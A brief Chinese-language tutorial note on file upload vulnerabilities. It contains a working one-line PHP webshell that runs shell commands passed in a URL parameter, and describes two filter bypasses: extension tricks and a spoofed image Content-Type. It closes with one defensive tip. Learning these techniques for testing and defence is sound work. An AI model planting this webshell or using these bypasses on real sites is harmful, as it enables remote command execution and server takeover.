文件上传漏洞 方法一:直接上传php文件 直接上传上传一句话木马php文件 <?php echo shell_exec($_GET['cmd']);?> 访问该文件,并在末尾加上 ?cmd=id 方法二,修改后缀名 截断 修改为png、jpg、png或jpeg尝试上传 注意,要保留php后缀,再直接在末尾加图片格式后缀 方法三,修改头部信息 截断 修改为 image/jpeg 即可上传 防护:去掉上传目录的可执行权限